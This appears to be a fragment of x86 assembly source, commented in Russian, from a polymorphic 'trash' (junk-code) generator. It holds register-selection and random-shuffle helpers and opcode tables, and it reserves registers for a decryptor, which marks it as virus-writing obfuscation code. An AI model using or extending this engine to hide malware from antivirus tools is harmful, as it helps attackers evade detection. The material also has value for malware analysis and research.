;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;функция swap_elem ;перемешивание элементов в массиве случайным образом ;ВХОД (stdcall) (swap_elem(DWORD *pMas,DWORD num_elem)): ; pMas - массив, элементы которого и надо перемешать случайным образом; ; num_elem - количество элементов в массиве; ;ВЫХОД: ; (+) элементы отлично перемешаны; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx swap_elem: pushad mov ecx,dword ptr [esp+28h] mov esi,dword ptr [esp+24h] xor edx,edx _cycleswap_: push ecx call [ebp].rgen_addr push dword ptr [esi+edx*4] push dword ptr [esi+eax*4] pop dword ptr [esi+edx*4] pop dword ptr [esi+eax*4] inc edx cmp edx,ecx jne _cycleswap_ popad ret 4*2 ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;конец функции swap_elem ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;% ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;функция free_reg ;генерация свободного регистра (32-х разрядного по дефолту) ;Выход: ;eax (al) - номер свободного регистра ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx free_reg: push edx mov edx,[ebp].regs ;в EDX сохраняем регистры занятые _getfr_: call rnd_reg ;вызываем функу генерации любого регистра cmp al,dh ;смотрим, этот регистр уже занят (например декриптором) je _getfr_ cmp al,dl ;еще одна такая проверка je _getfr_ cmp al,4;esp ;также полученный только что регистр не должен быть ESP & EBP je _getfr_ cmp al,5;ebp je _getfr_ bt edx,31 ;также проверяем, заняты 2 (для декриптора) или 3 регистра? (3-ий для генерации некоторых команд/конструкций) jnc _frret_ ;про эти команды смотри выше push edx shr edx,16 cmp al,dl ;если же заняты 3 регистра, то проверяем еще и его, только что полученный регистр занят? pop edx je _getfr_ _frret_: ;если нет, то в EAX этот регистр и выходим pop edx ret ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;конец функции free_reg ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;функция rnd_reg ;генерация случайного регистра ;Выход: ;eax (al) - номер случайного регистра ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx rnd_reg: push 8 call [ebp].rgen_addr ;вызываем ГСЧ ret ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;конец функции rnd_reg ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;функция free_reg_r8 ;генерация свободного регистра (8-ми разрядного) ;ВЫХОД: ;EAX (al) - номер свободного регистра ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx free_reg_r8: push ebx mov ebx,[ebp].regs _getfr8_: call rnd_reg ;аналогично, смотри выше mov dl,al cmp al,4 ;смотрим, al>=4 ? если да, то вычитаем 4. Так нужно потому есть только al,cl,dl,bl,ah,ch,dh,bh jl _al_etc_ ;и например al & ah - имеют номера 0 и 4 соответственно и являются частью одного большого регистра EAX (AX) sub dl,4 _al_etc_: cmp dl,bh je _getfr8_ cmp dl,bl je _getfr8_ bt ebx,31 jnc _frr8ret_ push ebx shr ebx,16 cmp dl,bl pop ebx je _getfr8_ _frr8ret_: pop ebx ret ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;конец функции free_reg_r8 ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;======================================================================================================== ;ETC ;======================================================================================================== one_byte_opcode: ;табличка для построения однобайтовых команд std cld nop clc stc cmc db 0f2h ;rep db 0f3h ;repnz aaa aas cwde daa das lahf ;======================================================================================================== three_byte_opcode: ;табличка для построения трехбайтовых команд db 002h,003h,0a3h,0a5h,0abh,0adh,0afh,0b3h db 0b6h,0b7h,0bbh,0bch,0bdh,0beh,0bfh,0c1h ;======================================================================================================== mmx_opcode: ;табличка для построения MMX команд db 06Eh,06Fh,074h,075h,076h,07Eh,07Fh,0D1h,0D2h db 0D3h,0D5h,0D8h,0D9h,0DBh,0DCh,0DDh,0DFh,0E1h db 0E2h,0E5h,0E8h,0E9h,0EBh,0ECh,0EDh,0EFh,0F1h db 0F2h,0F3h,0F5h,0F8h,0F9h,0FAh,0FCh,0FDh,0FEh ;======================================================================================================== sse_opcode: ;табличка для построения SSE команд db 010h,011h,012h,014h,015h,016h,028h,029h,02Ah,02Ch,02Dh,02Eh,02Fh db 05Ch,05Dh,05Eh,05Fh,0D7h,0DAh,0DEh,0E0h,0E3h,0E4h,0EAh,0EEh,0F6h ;======================================================================================================== ;======================================================================================================== ;ДЛЯ УДОБСТВА :)! ;======================================================================================================== SizeTrash equ $-xTG ;размер генератора мусора ;======================================================================================================== ;Будь сильным - слабым всегда не везет!